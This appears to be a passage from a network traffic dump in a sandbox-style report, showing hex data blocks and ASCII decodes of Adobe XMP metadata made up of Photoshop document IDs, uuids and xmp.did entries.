Data Ascii: 67807AC80E9</rdf:li> <rdf:li>CEA1B124029F19049F2BDB87B2F8BA6D</rdf:li> <rdf:li>CEA763D2A
C205D638C909C56B93FE800</rdf:li> <rdf:li>CEA85BECE73D498A4247C86DA5D303AF</rdf:li> <rdf:li>CEAB3336E
86C5934E92CE798F0EC4002</rdf:li> <rdf:li>CEB37DA144BB558C1A70438C25

2022-05-13 14:42:07 UTC 4512 IN Data Raw: 41 39 35 33 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 38 42 42 36 42 31 38 46 46 41 
43 43 31 41 44 30 42 30 34 37 33 35 35 30 32 45 34 33 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 
43 38 44 43 42 41 37 42 31 38 35 46 42 44 43 43 32 31 34 35 34 38 32 41 36 30 45 35 46 32 32 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 44 43 39 35 34 31 31 45 36 37 30 32 30 34 30 46 31 31 45 35 38 43 36 42 38 34 38 32 30 
41 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 39 39 42 32 41 32 46 36 46 35 38 30 30 46 43 42 
39 42 31 34 46 34 44 31 31 33 46 45 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 42 42 46 33 32 
32 46 39 33 39 35 38 32 31 38 36 33 36 39 37 44 31 43 45 42 33 31 39 44 
Data Ascii: A95383</rdf:li> <rdf:li>DC8BB6B18FFACC1AD0B04735502E4364</rdf:li> <rdf:li>DC8DCBA7B185FB
DCC2145482A60E5F22</rdf:li> <rdf:li>DC95411E6702040F11E58C6B84820AFC</rdf:li> <rdf:li>DC99B2A2F6F580
0FCB9B14F4D113FEEC</rdf:li> <rdf:li>DCBBF322F9395821863697D1CEB319D

2022-05-13 14:42:07 UTC 4550 IN Data Raw: 43 44 39 38 31 43 33 30 39 42 33 45 43 46 46 37 35 43 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 45 31 45 36 42 44 36 33 43 39 31 38 37 33 46 31 39 39 46 30 42 32 46 44 45 35 35 39 31 31 38 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 46 32 35 35 31 37 43 33 42 45 35 39 43 43 43 31 42 38 39 39 42 36 46 37 
39 35 30 33 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 46 34 33 39 45 42 31 33 45 38 45 41 39 3
5 33 35 43 37 42 32 42 36 44 38 30 46 32 31 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 46 37 34 
46 37 37 37 35 37 43 32 31 46 43 38 39 35 31 36 39 41 44 33 32 37 42 38 35 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 45 31 46 46 33 38 34 45 35 31 38 41 35 35 43 33 44 
Data Ascii: CD981C309B3ECFF75C11</rdf:li> <rdf:li>E1E6BD63C91873F199F0B2FDE5591184</rdf:li> <rdf:li>
E1F25517C3BE59CCC1B899B6F795039D</rdf:li> <rdf:li>E1F439EB13E8EA9535C7B2B6D80F2145</rdf:li> <rdf:li>
E1F74F77757C21FC895169AD327B8533</rdf:li> <rdf:li>E1FF384E518A55C3D
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2022-05-13 14:42:07 UTC 4572 IN Data Raw: 3a 6c 69 3e 45 44 46 34 37 43 41 37 35 46 41 41 41 34 42 33 43 31 42 46 38 42 43 39 41 37 34 34 46 39 42 
46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 44 46 36 43 45 46 41 42 35 43 42 37 37 44 32 43 45 42 46 
43 32 41 38 31 35 46 37 44 36 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 44 46 42 39 37 42 43 35 3
6 45 45 38 42 34 30 34 34 32 34 30 37 42 41 34 36 46 41 33 41 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 45 45 30 35 42 34 42 35 39 41 39 32 41 34 31 30 46 45 46 31 33 31 44 43 31 42 46 46 41 44 41 35 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 45 31 33 32 36 39 43 38 30 31 38 36 38 41 30 38 44 43 31 45 39 45 34 33 44 37 
30 35 30 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 
Data Ascii: :li>EDF47CA75FAAA4B3C1BF8BC9A744F9BF</rdf:li> <rdf:li>EDF6CEFAB5CB77D2CEBFC2A815F7D626</
rdf:li> <rdf:li>EDFB97BC56EE8B40442407BA46FA3A3F</rdf:li> <rdf:li>EE05B4B59A92A410FEF131DC1BFFADA5</
rdf:li> <rdf:li>EE13269C801868A08DC1E9E43D70507A</rdf:li> <rdf:li>E

2022-05-13 14:42:07 UTC 4612 IN Data Raw: 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 36 32 39 32 39 36 43 45 44 41 39 46 33 38 
46 43 42 43 32 36 46 35 34 46 34 32 35 32 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 36 42 36 
31 43 45 33 37 36 34 38 31 44 44 31 42 43 41 35 35 42 42 38 46 34 37 45 45 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 46 41 36 46 31 41 38 31 42 39 36 39 31 42 32 35 46 33 43 38 45 36 39 44 31 39 38 34 38 42 43 31 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 38 42 35 36 45 35 35 44 44 37 32 36 42 41 37 41 31 37 31 42 
39 39 38 38 44 33 36 34 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 39 41 38 42 38 34 41 43 31 
45 38 45 43 31 43 42 37 32 31 36 36 32 37 39 42 34 31 43 41 46 3c 2f 72 
Data Ascii: 2D</rdf:li> <rdf:li>FA629296CEDA9F38FCBC26F54F425222</rdf:li> <rdf:li>FA6B61CE376481DD1B
CA55BB8F47EE2C</rdf:li> <rdf:li>FA6F1A81B9691B25F3C8E69D19848BC1</rdf:li> <rdf:li>FA8B56E55DD726BA7A
171B9988D364C6</rdf:li> <rdf:li>FA9A8B84AC1E8EC1CB72166279B41CAF</r

2022-05-13 14:42:07 UTC 4636 IN Data Raw: 38 2d 61 34 37 33 2d 39 37 30 30 35 65 39 33 37 63 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 33 30 32 62 65 36 39 2d 65 34 37 39 2d 31 31 37 
38 2d 61 32 35 33 2d 65 62 62 37 38 32 63 31 66 65 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 
6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 33 33 39 32 37 35 30 2d 38 33 38 37 2d 31 31 65 37 2d 61 
35 36 34 2d 61 61 30 32 30 33 62 63 30 35 63 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 34 65 31 34 31 33 66 2d 39 64 34 63 2d 31 31 64 63 2d 39 66 38 62 
2d 62 32 64 30 66 61 39 36 36 64 65 37 3c 2f 72 64 66 3a 6c 69 
Data Ascii: 8-a473-97005e937c10</rdf:li> <rdf:li>adobe:docid:photoshop:0302be69-e479-1178-a253-ebb782c1fe21</r
df:li> <rdf:li>adobe:docid:photoshop:03392750-8387-11e7-a564-aa0203bc05cd</rdf:li> <rdf:li>adobe:docid:photosh
op:04e1413f-9d4c-11dc-9f8b-b2d0fa966de7</rdf:li

2022-05-13 14:42:07 UTC 4740 IN Data Raw: 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 30 36 34 36 66 38 2d 63 61 62 66 2d 31 31 37 38 
2d 62 36 32 30 2d 61 31 36 33 30 65 64 61 30 62 61 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 
62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 30 38 65 61 32 65 2d 36 63 30 30 2d 31 31 65 37 2d 61 35 
66 32 2d 66 37 65 32 62 32 34 36 63 30 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 
64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 32 63 30 31 36 61 2d 38 66 34 31 2d 31 31 65 37 2d 61 63 38 30 2d 
61 33 62 36 61 61 64 63 30 39 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 
64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 33 33 61 34 30 66 2d 
Data Ascii: e:docid:photoshop:380646f8-cabf-1178-b620-a1630eda0ba1</rdf:li> <rdf:li>adobe:docid:photoshop:3808ea2e-
6c00-11e7-a5f2-f7e2b246c064</rdf:li> <rdf:li>adobe:docid:photoshop:382c016a-8f41-11e7-ac80-a3b6aadc0915</rdf:li> 
<rdf:li>adobe:docid:photoshop:3833a40f-

2022-05-13 14:42:07 UTC 4772 IN Data Raw: 36 30 66 35 32 31 62 66 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 
63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 36 32 36 30 32 64 35 2d 36 34 63 32 2d 31 31 64 62 2d 61 65 39 64 2d 64 
32 66 35 33 37 64 37 65 35 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 
3a 70 68 6f 74 6f 73 68 6f 70 3a 36 36 34 61 31 34 34 34 2d 33 36 38 61 2d 31 31 65 37 2d 61 35 63 62 2d 65 66 62 36 
30 61 37 30 30 36 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 
6f 74 6f 73 68 6f 70 3a 36 36 37 62 31 35 63 61 2d 66 65 32 64 2d 31 31 64 39 2d 38 66 64 66 2d 63 30 30 34 34 62 66 6
2 32 38 38 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: 60f521bf63</rdf:li> <rdf:li>adobe:docid:photoshop:662602d5-64c2-11db-ae9d-d2f537d7e5d1</rdf:li> <r
df:li>adobe:docid:photoshop:664a1444-368a-11e7-a5cb-efb60a700623</rdf:li> <rdf:li>adobe:docid:photoshop:667b15ca-
fe2d-11d9-8fdf-c0044bfb288b</rdf:li> <rdf:li

2022-05-13 14:42:07 UTC 4779 IN Data Raw: 70 3a 37 61 34 36 35 36 34 36 2d 39 66 62 63 2d 31 31 64 61 2d 62 30 62 34 2d 38 34 66 38 31 62 33 62 39 
32 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 
6f 70 3a 37 61 34 36 35 36 34 63 2d 39 66 62 63 2d 31 31 64 61 2d 62 30 62 34 2d 38 34 66 38 31 62 33 62 39 32 61 61 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 
37 61 63 36 66 35 63 38 2d 38 31 33 33 2d 31 31 65 37 2d 39 39 34 32 2d 63 33 35 65 62 62 63 39 66 32 38 32 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 62 32 
31 66 36 36 66 2d 39 66 63 31 2d 31 31 64 61 2d 38 35 32 61 2d 61 
Data Ascii: p:7a465646-9fbc-11da-b0b4-84f81b3b92aa</rdf:li> <rdf:li>adobe:docid:photoshop:7a46564c-9fbc-11da-b0b4-
84f81b3b92aa</rdf:li> <rdf:li>adobe:docid:photoshop:7ac6f5c8-8133-11e7-9942-c35ebbc9f282</rdf:li> <rdf:li>adobe:doci
d:photoshop:7b21f66f-9fc1-11da-852a-a

2022-05-13 14:42:07 UTC 4954 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 64 
34 62 32 65 33 66 2d 39 31 31 65 2d 31 31 65 36 2d 38 63 33 62 2d 38 66 35 30 35 34 62 65 39 35 64 64 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 64 65 32 34 
32 36 37 2d 38 35 39 64 2d 31 31 64 38 2d 62 31 38 36 2d 62 34 65 38 30 31 34 32 63 36 64 38 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 64 65 36 34 66 66 35 
2d 32 61 62 33 2d 31 31 65 37 2d 62 66 34 66 2d 61 32 33 65 38 33 39 35 38 64 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 
Data Ascii: li> <rdf:li>adobe:docid:photoshop:ad4b2e3f-911e-11e6-8c3b-8f5054be95dd</rdf:li> <rdf:li>adobe:doci
d:photoshop:ade24267-859d-11d8-b186-b4e80142c6d8</rdf:li> <rdf:li>adobe:docid:photoshop:ade64ff5-2ab3-11e7-bf4f-
a23e83958dee</rdf:li> <rdf:li>adobe:docid:pho

2022-05-13 14:42:07 UTC 5034 IN Data Raw: 33 2d 66 66 30 31 2d 62 35 34 35 2d 38 65 32 30 2d 64 39 63 30 35 33 33 62 34 32 35 32 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 33 61 31 62 39 63 
62 2d 63 65 63 36 2d 31 31 64 39 2d 62 33 36 32 2d 65 62 35 63 38 31 61 66 36 31 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 33 63 36 30 62 33 37 2d 38 
32 32 64 2d 63 33 34 61 2d 62 64 38 30 2d 33 31 34 33 34 64 64 61 61 38 66 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 34 32 30 34 65 66 66 2d 38 37 31 37 
2d 31 31 65 31 2d 39 62 38 38 2d 66 38 64 38 63 33 64 34 36 38 
Data Ascii: 3-ff01-b545-8e20-d9c0533b4252</rdf:li> <rdf:li>adobe:docid:photoshop:e3a1b9cb-cec6-11d9-b362-eb5c8
1af611e</rdf:li> <rdf:li>adobe:docid:photoshop:e3c60b37-822d-c34a-bd80-31434ddaa8f4</rdf:li> <rdf:li>adobe:doc
id:photoshop:e4204eff-8717-11e1-9b88-f8d8c3d468
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2022-05-13 14:42:07 UTC 5042 IN Data Raw: 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 61 39 36 32 64 33 37 2d 32 30 65 33 2d 34 
66 34 64 2d 61 38 62 31 2d 64 31 36 65 35 31 65 61 35 63 32 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 61 61 31 66 66 36 34 2d 65 35 31 61 2d 31 31 64 62 
2d 38 39 63 33 2d 62 35 36 61 63 30 63 62 39 35 34 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 
62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 62 34 33 30 64 61 66 2d 66 35 65 30 2d 37 31 34 35 2d 62 36 
34 38 2d 61 66 33 34 38 35 30 34 33 37 65 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 6
4 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 62 35 37 30 30 
Data Ascii: dobe:docid:photoshop:fa962d37-20e3-4f4d-a8b1-d16e51ea5c2c</rdf:li> <rdf:li>adobe:docid:photoshop:f
aa1ff64-e51a-11db-89c3-b56ac0cb954d</rdf:li> <rdf:li>adobe:docid:photoshop:fb430daf-f5e0-7145-b648-af34850437e
9</rdf:li> <rdf:li>adobe:docid:photoshop:fb5700

2022-05-13 14:42:07 UTC 5058 IN Data Raw: 45 35 32 36 34 32 46 32 30 41 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 
31 46 32 42 43 41 35 37 34 44 36 31 31 44 42 41 38 43 35 39 41 35 30 35 42 33 38 37 42 37 34 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 32 32 33 31 42 41 34 41 38 43 32 44 46 31 31 41 46 32 43 43 45 35 42 
31 32 35 33 43 45 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 32 37 31 38 46 42 37 3
6 33 34 44 44 46 31 31 41 46 30 30 38 34 44 33 36 45 42 32 43 44 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 75 75 69 64 3a 33 32 37 33 33 45 42 46 35 41 34 31 44 42 31 31 39 39 30 39 39 35 32 46 30 44 36 37 44 45 35 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 
Data Ascii: E52642F20AC7</rdf:li> <rdf:li>uuid:31F2BCA574D611DBA8C59A505B387B74</rdf:li> <rdf:li>uuid:32231BA4
A8C2DF11AF2CCE5B1253CE17</rdf:li> <rdf:li>uuid:32718FB7634DDF11AF0084D36EB2CDCB</rdf:li> <rdf:li>uui
d:32733EBF5A41DB119909952F0D67DE54</rdf:li> <rdf:li>uuid:

2022-05-13 14:42:07 UTC 7018 IN Data Raw: 3e 75 75 69 64 3a 36 36 37 42 31 36 30 32 46 34 45 41 45 30 31 31 42 34 41 30 42 46 42 31 41 32 43 38 38 
42 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 36 45 37 37 30 43 38 44 38 38 33 44 
44 31 31 38 35 36 37 46 44 37 44 42 37 44 31 46 42 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 6
9 64 3a 36 36 45 37 41 38 31 32 32 36 38 36 44 42 31 31 38 35 39 37 38 34 34 32 33 38 46 30 43 41 45 44 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 37 30 33 42 46 39 41 45 37 42 45 31 31 44 45 39 30 32 41 
42 31 34 45 45 31 32 39 45 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 37 34 42 
35 39 36 30 37 30 42 34 31 31 44 42 42 30 43 33 42 33 33 42 38 46 46 33 44 
Data Ascii: >uuid:667B1602F4EAE011B4A0BFB1A2C88BBB</rdf:li> <rdf:li>uuid:66E770C8D883DD118567FD7DB7D
1FB68</rdf:li> <rdf:li>uuid:66E7A8122686DB118597844238F0CAED</rdf:li> <rdf:li>uuid:6703BF9AE7BE11DE9
02AB14EE129E651</rdf:li> <rdf:li>uuid:674B596070B411DBB0C3B33B8FF3D

2022-05-13 14:42:07 UTC 7026 IN Data Raw: 35 34 31 45 43 35 34 46 33 33 32 44 42 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 
64 3a 37 44 44 32 44 38 37 43 46 32 36 44 44 44 31 31 39 38 32 35 43 46 33 39 34 44 38 46 39 37 32 42 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 30 37 35 44 35 41 32 33 36 36 45 32 31 31 38 32 46 36 44 
34 33 43 30 41 39 35 46 45 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 30 42 42 3
7 36 39 39 39 37 30 44 45 31 31 39 43 30 33 43 37 31 36 45 46 43 38 46 43 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 34 37 38 33 36 33 38 42 43 35 44 46 31 31 38 31 44 41 38 46 38 37 32 46 33 43 
32 46 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 
Data Ascii: 541EC54F332DBE2</rdf:li> <rdf:li>uuid:7DD2D87CF26DDD119825CF394D8F972B</rdf:li> <rdf:li>
uuid:7E075D5A2366E21182F6D43C0A95FE92</rdf:li> <rdf:li>uuid:7E0BB7699970DE119C03C716EFC8FC6F</rdf:li> 
<rdf:li>uuid:7E4783638BC5DF1181DA8F872F3C2FE6</rdf:li> <rdf:li>uu

2022-05-13 14:42:07 UTC 7042 IN Data Raw: 32 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 31 34 30 36 44 35 33 37 
42 34 44 31 31 44 41 39 42 41 34 43 34 32 42 34 39 35 36 41 30 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 75 75 69 64 3a 42 31 36 35 45 44 45 34 46 31 41 36 44 46 31 31 41 42 30 39 39 33 45 35 39 34 45 44 31 41 37 45 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 31 37 41 36 31 39 30 32 33 33 31 45 30 31 31 3
9 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 
31 43 32 41 32 32 43 41 31 35 46 31 31 44 43 38 41 37 34 38 45 36 39 36 30 38 32 37 43 45 34 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 32 31 38 32 43 33 38 
Data Ascii: 25D8</rdf:li> <rdf:li>uuid:B1406D537B4D11DA9BA4C42B4956A016</rdf:li> <rdf:li>uuid:B165ED
E4F1A6DF11AB0993E594ED1A7E</rdf:li> <rdf:li>uuid:B17A61902331E0119768DE2F52112F6B</rdf:li> <rdf:li>u
uid:B1C2A22CA15F11DC8A748E6960827CE4</rdf:li> <rdf:li>uuid:B2182C38

2022-05-13 14:42:07 UTC 7058 IN Data Raw: 45 31 46 30 42 30 38 42 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 30 
37 33 34 30 38 36 2d 37 34 42 30 2d 34 33 44 42 2d 39 33 43 39 2d 35 33 31 32 45 35 36 30 33 33 34 37 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 30 38 44 46 31 42 39 37 30 43 43 44 44 31 31 38 32 38 30 39 
43 36 33 34 44 39 38 31 37 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 30 44 33 46 4
6 33 33 41 45 36 33 44 44 31 31 41 31 43 38 44 42 45 44 35 42 36 46 32 45 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 46 31 35 35 37 35 41 35 46 36 32 34 44 45 31 31 41 37 38 41 43 39 37 44 43 43 45 46 
41 34 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 
Data Ascii: E1F0B08BD72</rdf:li> <rdf:li>uuid:F0734086-74B0-43DB-93C9-5312E5603347</rdf:li> <rdf:li>uuid:F08DF
1B970CCDD1182809C634D9817C8</rdf:li> <rdf:li>uuid:F0D3FF33AE63DD11A1C8DBED5B6F2ED7</rdf:li> <rdf:li>
uuid:F15575A5F624DE11A78AC97DCCEFA4EB</rdf:li> <rdf:li>uu

2022-05-13 14:42:07 UTC 7066 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 
37 31 46 41 35 45 33 36 30 37 41 42 45 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 41 43 32 41 30 46 30 41 32 45 43 36 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 
31 46 42 36 44 34 35 43 43 39 41 35 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 42 36 45 33 41 31 44 34 37 38 34 35 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 
Data Ascii: > <rdf:li>xmp.did:0180117407206811871FA5E3607ABE83</rdf:li> <rdf:li>xmp.did:018011740720
6811871FAC2A0F0A2EC6</rdf:li> <rdf:li>xmp.did:0180117407206811871FB6D45CC9A53C</rdf:li> <rdf:li>xmp.
did:0180117407206811871FB6E3A1D47845</rdf:li> <rdf:li>xmp.did:01801

2022-05-13 14:42:07 UTC 7082 IN Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 
31 34 42 41 36 43 43 35 41 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 
38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 38 37 34 37 44 45 41 31 41 37 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 32 
31 39 43 31 36 36 36 39 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 
30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 41 30 32 43 30 43 36 30 42 37 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 
Data Ascii: df:li>xmp.did:03801174072068119109D14BA6CC5A8C</rdf:li> <rdf:li>xmp.did:0380117407206811
9109D88747DEA1A7</rdf:li> <rdf:li>xmp.did:03801174072068119109E219C1666972</rdf:li> <rdf:li>xmp.did:0380117407
20681192B0A02C0C60B70A</rdf:li> <rdf:li>xmp.did:038011740
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2022-05-13 14:42:07 UTC 7098 IN Data Raw: 46 41 41 46 39 33 43 42 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 46 34 39 38 33 43 30 43 33 46 46 41 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 
42 30 43 43 39 35 33 38 34 46 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 3
8 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 42 43 36 37 45 37 31 39 42 32 38 36 3c 2f 72 64 66 3a 6c 69 
